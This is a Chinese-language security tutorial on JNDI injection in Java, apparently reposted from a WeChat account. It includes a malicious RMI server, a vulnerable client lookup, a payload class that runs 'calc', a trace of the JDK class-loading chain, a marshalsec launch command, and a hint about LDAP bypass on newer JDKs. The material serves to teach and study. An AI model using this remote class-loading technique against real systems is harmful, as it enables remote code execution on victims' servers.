本文来学习JNDI注入,在此之前,先介绍一下JNDI是什么?
JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过 名称等去找到相关的对象,并把它下载到客户端中来。
简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象
既然要玩JNDI注入,那么就先了解一些常用的函数。
这里是找的网上的函数讲解,写的比较全。
构造方法:
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable , environment)
使用提供的环境构建初始上下文。
初始化上下文环境
InitialContext initialContext = new InitialContext();
常用方法:
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
Reference类
该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className - 远程加载时所使用的类名
参数2:classFactory - 加载的class中需要实例化类的名称
参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议
常用方法:
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
服务端代码编写
既然有了上方的知识,就编写一个服务端,这里在执行完Reference之后,又将其传到了ReferenceWrapper中
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test","test",url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("work",referenceWrapper);
}
因为前面讲RMI的时候就说过了,需要继承UnicastRemoteObject类,实现Remote接口
RemoteRefernece继承了Remote
客户端代码编写
public static void main(String[] args) throws NamingException, IOException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();//得到初始化目录的一个引用
initialContext.lookup(uri);//获取远程对象
System.out.println("Client Runing....");
}
其实这就是一个典型的JNDI注入,如果客户端的uri可控的话,就会加载rmi服务端的恶意类。
从这里可以看出,恶意的类,我放到了web服务中。
恶意的代码:
javac ExecTest.java 这里在编译的时候,版本要一致。
import java.io.IOException;
public class test {
public test() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
之后就会执行命令
这里深入追一下,看看是如何执行命令的?
跟进initialContext.lookup
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
之后继续跟进lookup
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找
} finally {
var3.close();
}
return var4;
}
再次跟进lookup并进入decodeObject
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
decodeObject如下
//如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。
//如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
再次跟进NamingManager.getObjectInstance
接下来我拿出getObjectInstance一部分重要的代码来分析,这里将refInfo存到了一个临时变量ref中,并在12行获取类名之后。14行统一传入进去了
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
return refInfo;
}
跟进getObjectFactoryFromReference,代码如下,很明显就会加载我们的恶意类
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
}
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
//此处codebase是我们在恶意RMI服务端中定义的地址
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
//实例化就会执行calc
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
但是服务端的话,其实不必每次都得自己写,直接推荐一款工具吧,会自己搭建RMI服务
marshalsec https://github.com/mbechler/marshalsec
命令如下: http://127.0.0.1/#test 就是我们的恶意类,而8088就是开放的端口,不指定的话就是默认的1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#test 8088
最终也是可以成功执行
结尾:
在高版本中,系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。而在低版本中这几个选项默认为true,可以远程加载一些类。可以使用ldap来进行绕过
原文始发于微信公众号(安全族):浅谈JNDI利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论